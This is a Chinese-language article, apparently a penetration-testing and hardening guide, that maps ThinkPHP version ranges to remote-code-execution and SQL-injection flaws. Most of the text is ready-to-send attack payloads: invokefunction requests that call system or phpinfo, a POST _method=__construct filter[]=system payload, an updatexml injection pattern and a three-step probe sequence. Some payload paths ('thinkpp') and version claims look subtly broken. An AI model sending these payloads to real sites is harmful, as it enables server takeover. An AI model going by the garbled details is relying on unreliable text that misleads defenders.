ThinkPHP高危漏洞需按精确版本号区间匹配:5.0.0–5.0.23存在invokefunction型RCE,5.0.23特有_method+filter型RCE,5.1.0–5.1.37、6.0.0–6.0.12及3.2.x全版本均存在不同RCE,SQL注入则集中于5.0.13–5.0.15和5.1.6–5.1.7。

快速定位ThinkPHP框架漏洞对应版本,避免在渗透测试或安全加固中误判影响范围,必须跳过模糊描述直接匹配官方漏洞标识与精确版本号区间。
按版本号区间查漏洞
ThinkPHP漏洞不是按“5.x”笼统归类,而是严格绑定到小版本号边界。例如5.0.23是RCE漏洞的分水岭——【5.0.24起该RCE被修复】,但5.0.23本身仍存在另一处POST型RCE。
第一步:确认目标站点ThinkPHP版本(查看HTTP响应头X-Powered-By、报错页显示、composer.json中topthink/framework字段)。
第二步:对照下表直接锁定高危漏洞类型:
立即学习“PHP免费学习笔记(深入)”;
| 版本区间 | 核心漏洞 | 触发方式示例 |
|---|---|---|
| 5.0.0–5.0.23 | RCE(invokefunction) | ?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=system |
| 5.0.23 | RCE(_method+filter) | POST _method=__construct&filter[]=system&method=GET |
| 5.1.0–5.1.37 | RCE(invokefunction) | ?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=phpinfo |
| 6.0.0–6.0.12 | RCE(路由解析缺陷) | GET /index.php/:controller/:action?_method=\think\app::invokefunction |
| 3.2.x 全版本 | RCE(_method+call_user_func_array) | GET ?s=index&c=index&_method=__construct&filter[]=system |
按漏洞类型反查版本
方法一:RCE类漏洞优先看是否含invokefunction路径
出现/thinkpp/invokefunction或/think/app/invokefunction,立即锁定为5.0.x/5.1.x RCE,再比对URL中vars[0]后的函数名——若为system、phpinfo、file_put_contents,说明未升级至5.0.24/5.1.38。
方法二:SQL注入类漏洞看参数结构
当请求中出现username[0]=inc&username[1]=updatexml(...)这类数组索引绕过,基本可判定为5.0.13–5.0.15或5.1.6–5.1.7的Builder::parseData拼接漏洞,【该漏洞不依赖控制器名,仅靠参数数组即可触发】。
跳过识别直接验证
如果无法准确获取版本号,用三组最小化Payload交叉验证:
① GET访问 /index.php?s=captcha → 返回404或白屏?说明非2.x/3.x,进入5.x/6.x验证流程。
② GET访问 /index.php?s=index/thinkpp/invokefunction&function=phpinfo&vars[1][]=-1 → 页面输出PHP配置信息,则确认为5.0.0–5.0.23或5.1.0–5.1.37。
③ POST发送 _method=__construct&filter[]=system&method=GET&get[]=id 到任意可访问的入口文件 → 响应含数据库ID或报错含call_user_func_array,则锁定为5.0.23特有RCE。



















